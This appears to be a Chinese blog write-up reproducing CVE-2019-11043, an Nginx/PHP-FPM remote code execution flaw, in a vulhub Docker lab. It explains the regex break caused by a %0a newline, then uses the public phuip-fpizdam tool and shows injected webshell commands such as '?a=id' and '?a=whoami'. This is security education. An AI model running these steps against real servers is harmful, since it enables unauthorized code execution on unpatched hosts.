CVE-2019-11043漏洞复现
漏洞信息
漏洞描述
Nginx 上 fastcgi_split_path_info 在处理带有 %0a 的请求时,会因为遇到换行符 \n 导致 PATH_INFO 为空。而 php-fpm 在处理 PATH_INFO为空的情况下,存在逻辑缺陷。攻击者通过精心的构造和利用,可以导致远程代码执行。
利用条件:
nginx配置了fastcgi_split_path_info
受影响系统:
PHP 5.6-7.x,Nginx>=0.7.31
那我们先来看一下nginx.conf中的具体配置
1 | location ~ [^/]\.php(/|$) { |
解释一下
1 | fastcgi_split_path_info ^(.+?\.php)(/.*)$; |
这一行将请求 URI 分割为两部分:
- 第一个捕获组
(.+?\.php)
匹配以.php
结尾的最短路径,作为脚本文件名 - 第二个捕获组
(/.*)
匹配剩余的路径信息 - 结果会被存储在
$fastcgi_script_name
和$fastcgi_path_info
变量中
用的是非贪婪匹配 (+?
),这样可以确保只匹配到第一个找到的 .php
文件。
fastcgi_param PATH_INFO $fastcgi_path_info;
这一行将 Nginx 解析出的路径信息传递给 PHP-FPM,作为 PATH_INFO
环境变量。PHP 可以通过 $_SERVER['PATH_INFO']
访问这个值。
此时我们可以使用换行符(%0a)来破坏fastcgi_split_path_info
指令中的Regexp。Regexp被损坏导致PATH_INFO为空,从而触发该漏洞。
漏洞复现
安装docker,golang环境
1 | sudo apt update |
搭建漏洞环境
1 | git clone http://github.com/vulhub/vulhub.git |
搭建好后我们访问http://[远程服务器IP]:8080/index.php
搭建成功!
然后我们安装漏洞利用工具phuip-fpizdam
phuip-fpizdam 是一个用于利用 PHP-FPM (FastCGI Process Manager) 中的一个安全漏洞的漏洞利用工具
安装漏洞利用工具
安装工具可以换个目录去安装~
1 | git clone https://github.com/neex/phuip-fpizdam.git |
运行这个工具试一下
1 | ./phuip-fpizdam |
开始复现
工具一把梭
1 | go run . "http://[ip]:8080/index.php" |
解释一下
- Success! Was able to execute a command by appending “?a=/bin/sh+-c+’which+which’&” to URLs:攻击成功了,攻击者通过在请求URL中添加特定的命令参数(
?a=/bin/sh+-c+'which+which'&
)成功执行了一个命令。这表明攻击者能够通过该漏洞远程执行代码。 - **Trying to cleanup /tmp/a…**:攻击者尝试清理临时文件或目录,以去除攻击痕迹。
在初始利用之后,webshell被注入PHP-FPM进程。然后我们可以执行命令
然后我们传入
1 | ?a=id |
注意,因为php-fpm会启动多个子进程,在访问/index.php?a=id时需要多访问几次,以访问到被污染的进程。
继续传入
1 | ?a=whoami |
已经成功拿到shell可执行命令了
本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来源 root@wanth3f1ag!